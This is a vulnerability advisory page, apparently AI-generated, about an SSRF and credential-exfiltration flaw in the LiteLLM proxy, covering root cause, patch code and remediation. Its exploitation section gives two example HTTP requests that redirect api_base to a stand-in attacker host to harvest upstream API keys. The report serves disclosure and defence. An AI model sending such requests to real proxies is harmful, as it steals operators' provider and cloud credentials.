CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-84377

CVE-2026-84377: Server-Side Request Forgery and Provider Credential Exfiltration in LiteLLM Proxy

Amit Schendel
Amit Schendel
Senior Security Researcher

Sep 30, 2026·6 min read·78 visits

Executive Summary (TL;DR)

Authenticated users can trigger SSRF and force LiteLLM to forward administrative API keys and cloud secrets to attacker-controlled servers via parameter manipulation.

An authenticated Server-Side Request Forgery (SSRF) and credential exfiltration vulnerability exists in LiteLLM proxy prior to versions 1.88.6 and 1.96.2. By bypassing sanitization logic through nested form-data parameters or using connection health checks, authenticated users can redirect outbound API calls to arbitrary endpoints, exposing sensitive upstream administrative credentials.

Vulnerability Overview

LiteLLM operates as an intermediate AI gateway, managing outbound API calls to diverse model providers such as OpenAI, Anthropic, Cohere, Vertex AI, AWS Bedrock, and Azure OpenAI. To simplify client-side key management, the proxy is typically pre-loaded with administrative upstream API credentials. Callers authenticate to the LiteLLM proxy using low-privilege, proxy-specific keys, and the proxy translates and maps their requests to the configured provider models, executing the remote call using its own administrative secrets.

The core vulnerability resides within the request validation and input parsing logic of the LiteLLM proxy. Under specific conditions, an authenticated user can supply unvalidated routing parameters within the HTTP request body. This allows the user to perform Server-Side Request Forgery (SSRF) and force the proxy to redirect outbound LLM API calls to an arbitrary, attacker-controlled destination.

During this redirection, the proxy automatically appends and forwards its pre-configured, high-privilege upstream provider credentials (including raw API keys, bearer tokens, and cloud environment credentials) to the external destination. This flaw bypasses the proxy's input sanitization and isolation bounds, allowing complete exfiltration of configured upstream credentials.

Root Cause Analysis

The vulnerability stems from two independent validation and data-merging failures in the proxy's codebase. The first occurs within the request body sanitization mechanism, which is responsible for blocking clients from overriding configured backend endpoints. The validation routine searches incoming request bodies for a predefined blocklist of routing and configuration keys, such as api_base, base_url, model_list, fallbacks, and litellm_credential_name.

However, the validation check failed to inspect multipart form-data parsed using bracket notation. Standard PHP-like or Rack-like bracket array parameters, such as litellm_metadata[api_base], were treated as harmless strings at the top-level request dictionary during the initial sanitization pass. Downstream, when the library deserialized this bracketed key into the active request context, it overrode the target api_base variable. This allowed attackers to bypass the flat input validation check and control the endpoint destination.

The second failure occurs within the model health-check endpoint (test_model_connection). To verify connection health, this endpoint merges proxy configuration parameters (config_litellm_params) with user-provided override parameters (request_litellm_params) using a dictionary unpacking operation ({**config_litellm_params, **request_litellm_params}). Because of this flat merge, an authenticated client can supply a custom api_base pointing to an attacker-controlled endpoint. The proxy then executes the validation connection using the user-provided endpoint while automatically inserting the loaded administrative API keys or credentials into the outgoing request.

Code Analysis

The original vulnerability exists due to inadequate parameter validation inside litellm/proxy/auth/auth_utils.py and structural validation gaps in litellm/proxy/common_request_processing.py. In auth_utils.py, the validation loop analyzed the request body dictionary but did not handle nested form data or bracket patterns.

# Vulnerable logic in is_request_body_safe prior to patch
metadata = _coerce_metadata_to_dict(request_body.get(metadata_key))
if metadata is not None:
    _check_banned_params(metadata, general_settings, llm_router, model)

The patch resolved this by parsing nested metadata properties explicitly and passing the output to the _check_banned_params function:

# Patched implementation in auth_utils.py
metadata = _coerce_metadata_to_dict(request_body.get(metadata_key))
if metadata is not None:
    _check_banned_params(metadata, general_settings, llm_router, model)
if any(
    isinstance(key, str) and key.startswith(f"{metadata_key}[")
    for key in request_body
):
    _check_banned_params(
        extract_nested_form_metadata(
            form_data=request_body, prefix=f"{metadata_key}["
        ),
        general_settings,
        llm_router,
        model,
    )

Additionally, the patch introduced the reject_url_valued_destination function in litellm/proxy/litellm_pre_call_utils.py to prevent attackers from smuggling destination URLs inside the model parameter. If the model parameter contains a scheme (http:// or https://), the request is rejected unless the host belongs to an administrative allowlist:

def reject_url_valued_destination(field: str, value: str) -> None:
    allowed_hosts = getattr(litellm, "provider_url_destination_allowed_hosts", []) or []
    for candidate in provider_url_destination_candidates(value):
        if not candidate.lower().startswith(("http://", "https://")):
            continue
        if is_url_destination_allowed_by_host(candidate, allowed_hosts):
            continue
        raise HTTPException(
            status_code=400,
            detail={
                "error": "invalid_request",
                "param": field,
                "message": f"URL-valued '{field}' is not allowed."
            },
        )

Exploitation Methodology

Exploitation of this vulnerability requires valid authentication credentials to the LiteLLM proxy, but only needs low-privilege access. An attacker can construct a payload designed to exploit either the bracket-notation bypass or the health-check validation loop.

In the bracket-notation scenario, the attacker issues a form-encoded POST request targeting the completion endpoint. By nesting the forbidden api_base parameter within the bracket representation of litellm_metadata, the attacker forces the underlying proxy client to execute the connection to the custom listener:

POST /chat/completions HTTP/1.1
Host: litellm-proxy.target
Authorization: Bearer sk-low-privilege-attacker-key
Content-Type: application/x-www-form-urlencoded
 
model=gpt-4&litellm_metadata[api_base]=http://attacker-controlled-server.com/v1

In the health-check scenario, the attacker calls the /test_model_connection endpoint. The attacker targets a specific pre-configured model deployment and provides an override structure for the api_base configuration property:

POST /test_model_connection HTTP/1.1
Host: litellm-proxy.target
Authorization: Bearer sk-low-privilege-attacker-key
Content-Type: application/json
 
{
  "model": "azure-gpt-4",
  "api_base": "http://attacker-controlled-server.com/v1"
}

When processing either request, the backend establishes a connection to http://attacker-controlled-server.com/v1. The proxy forwards the operational upstream authorization headers, such as the OpenAI API key, Azure secret key, or AWS access tokens, allowing the attacker to harvest them on the receiving server.

Impact Assessment

The potential impact of this vulnerability is critical. An attacker with a low-privilege API key to the LiteLLM gateway can compromise the absolute confidentiality of the administrative upstream API keys and cloud services. This breaks the security boundary of the proxy deployment, rendering the credential manager ineffective.

Once obtained, the administrative credentials can be used outside the proxy context. Attackers can execute arbitrary API queries directly against upstream providers, bypassing rate limits, cost policies, and auditing logs set up inside LiteLLM. For integrations using cloud providers like AWS or Azure, the exfiltration of IAM access keys or Azure client secrets can lead to deeper lateral movement within the associated cloud organization.

Additionally, because the proxy can initiate requests to internal endpoints, this vulnerability functions as an authenticated internal SSRF. An attacker can use the proxy to map, probe, and attack local services (e.g., cloud metadata services, databases, internal Kubernetes services) that are inaccessible from the open internet.

Remediation and Detection

To fully address this vulnerability, administrators must update LiteLLM immediately to the patched versions. For installations running the LTS branch, upgrade to 1.88.6 or higher. For installations on the mainline development branch, upgrade to 1.96.2 or higher.

In environments where immediate patching is not possible, network-level egress filtering must be enforced on the host running the LiteLLM container. Configure firewall rules or security groups to drop all outbound traffic originating from the LiteLLM host to unauthorized destination addresses. Traffic should only be allowed to resolved, domain-allowlisted upstream LLM gateways (such as api.openai.com and api.anthropic.com) and blocked from accessing internal IP addresses (RFC 1918 blocks).

Additionally, enable host-level validation in the proxy settings using the provider_url_destination_allowed_hosts configuration setting. Ensure this config specifies only trusted upstream domain addresses, preventing connections to unlisted external nodes.

Official Patches

BerriAIOfficial GitHub Security Advisory
BerriAIPull Request with Security Fix Consolidated Batch

Fix Analysis (3)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Probability
0.54%
Top 57% most exploited

Affected Systems

LiteLLM Proxy

Affected Versions Detail

Product
Affected Versions
Fixed Version
LiteLLM
BerriAI
< 1.88.61.88.6
LiteLLM
BerriAI
>= 1.89.0, < 1.96.21.96.2
AttributeDetail
CWE IDCWE-918
Attack VectorNetwork
CVSS6.5
EPSS Score0.0054 (0.54%)
ImpactServer-Side Request Forgery & Credential Exfiltration
Exploit StatusProof of Concept available
KEV StatusNot listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1005Data from Local System
Collection
CWE-918
Server-Side Request Forgery (SSRF)

The web server receives a URL or similar vector from an upstream request and does not sufficiently sanitize the destination, permitting unauthorized requests to arbitrary locations.

Vulnerability Timeline

Core security patch commits authored and validated
2026-08-05
GitHub Security Advisory GHSA-3cv6-jpf6-8222 and CVE-2026-84377 published
2026-09-02
Patched versions v1.88.6 and v1.96.2 released
2026-09-02

References & Sources

  • [1]GitHub Security Advisory GHSA-3cv6-jpf6-8222
  • [2]NVD Vulnerability Detail - CVE-2026-84377

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 13 hours ago•CVE-2026-128087
3.7

CVE-2026-128087: Premature Key Exchange Callback Invocation Prior to Host Key Verification in russh

CVE-2026-128087 (GHSA-9264-jvgf-6w2f) is an incorrect behavior order (CWE-696) and improper authorization (CWE-863) vulnerability in the russh Rust SSH library, affecting versions 0.55.0 through 0.65.0. During the initial SSH key exchange (KEX) handshake, the client state machine invokes the client::Handler::kex_done() callback—providing the negotiated raw shared secret bytes—prior to validating the remote server's host key or certificate via check_server_key(). Consequently, an untrusted or rogue SSH server can complete cryptographic key agreement and force a connecting client to execute side-effecting application logic inside kex_done() before the server's identity is checked and rejected.

Amit Schendel
Amit Schendel
4 views•10 min read
•about 14 hours ago•CVE-2026-128082
7.5

CVE-2026-128082: Uncontrolled Recursion and Denial of Service in AutoMapper via Constructor Parameter Mapping

CVE-2026-128082 (GHSA-6vhm-j9h7-f9gh) is an uncontrolled recursion vulnerability (CWE-674) in AutoMapper, a convention-based object-object mapper for .NET. When mapping nested or self-referential types into destination models that rely on parameterized constructors, C# positional records, or recursive ConstructUsing expressions, AutoMapper evaluates child constructor arguments prior to incrementing the parent's recursion depth counter. This ordering flaw bypasses both explicit MaxDepth limits and the default depth limit of 64. An unauthenticated remote attacker can supply deeply nested input payloads to affected endpoints, exhausting the thread call stack and triggering an uncatchable System.StackOverflowException that terminates the hosting .NET process.

Amit Schendel
Amit Schendel
7 views•11 min read
•about 15 hours ago•CVE-2026-128080
5.8

CVE-2026-128080: Sensitive Query Parameter Disclosure on Incoming Server Spans in OpenTelemetry JavaScript (@opentelemetry/instrumentation-http)

An information exposure vulnerability in the @opentelemetry/instrumentation-http package for OpenTelemetry JavaScript versions 0.204.0 prior to 0.222.0 causes incoming HTTP server spans to record raw, unredacted query string parameters under the url.query attribute. While outgoing client spans applied built-in and user-configured query parameter redaction, incoming server spans bypassed this sanitization completely, resulting in the transmission of sensitive credentials such as pre-signed cloud URLs and API tokens to external observability backends.

Alon Barad
Alon Barad
6 views•10 min read
•about 16 hours ago•CVE-2026-128089
7.5

CVE-2026-128089: Uncontrolled Resource Consumption in dnspython WKS Record Parser

CVE-2026-128089 is an uncontrolled resource consumption vulnerability in the dnspython toolkit for Python, affecting all versions prior to 2.9.2. When parsing Well-Known Service (WKS) records from text via dns.rdtypes.IN.WKS.WKS.from_text(), the parser fails to validate that numeric service port identifiers fall within the RFC 1035 valid range of 0 through 65535. An attacker capable of supplying untrusted zone files or RDATA text strings containing an arbitrarily large service port integer can force the parser to allocate an unbounded bitmap array using an inefficient linear append loop, resulting in severe CPU exhaustion, application hangs, or Out-Of-Memory (OOM) process termination.

Amit Schendel
Amit Schendel
6 views•10 min read
•about 17 hours ago•CVE-2026-126347
3.1

CVE-2026-126347: Open Redirect via Triple-Slash Redirect Paths in Tornado RedirectHandler

CVE-2026-126347 (GHSA-5cjw-f85j-cv6r) is an open redirect vulnerability (CWE-601) in Tornado, an asynchronous Python networking library and web framework. The flaw resides in tornado.web.RedirectHandler when dynamic URL redirection templates incorporate unvalidated user input. Due to a parser differential between RFC 3986 (used by Python's urllib.parse.urlsplit) and the WHATWG URL Standard (used by modern web browsers), inputs containing three or more leading slashes bypass Tornado 6.6.0's validation logic, allowing unauthenticated attackers to redirect users to arbitrary external domains.

Alon Barad
Alon Barad
7 views•11 min read
•about 18 hours ago•CVE-2026-128123
5.9

CVE-2026-128123: Uncaught Exception and Denial of Service in SvelteKit @sveltejs/adapter-node

A Denial of Service (DoS) vulnerability exists in @sveltejs/adapter-node versions 5.5.7 and 6.0.0-next.0 through 6.0.0. When a SvelteKit server route returns a direct response from a fetch() call with a Content-Type of text/event-stream, the Node.js adapter attempts to mutate the response headers to disable proxy buffering. Because headers returned directly by the WHATWG Fetch API carry an immutable guard, this mutation throws an unhandled TypeError, terminating the underlying Node.js process and denying service to all active and subsequent clients.

Alon Barad
Alon Barad
5 views•9 min read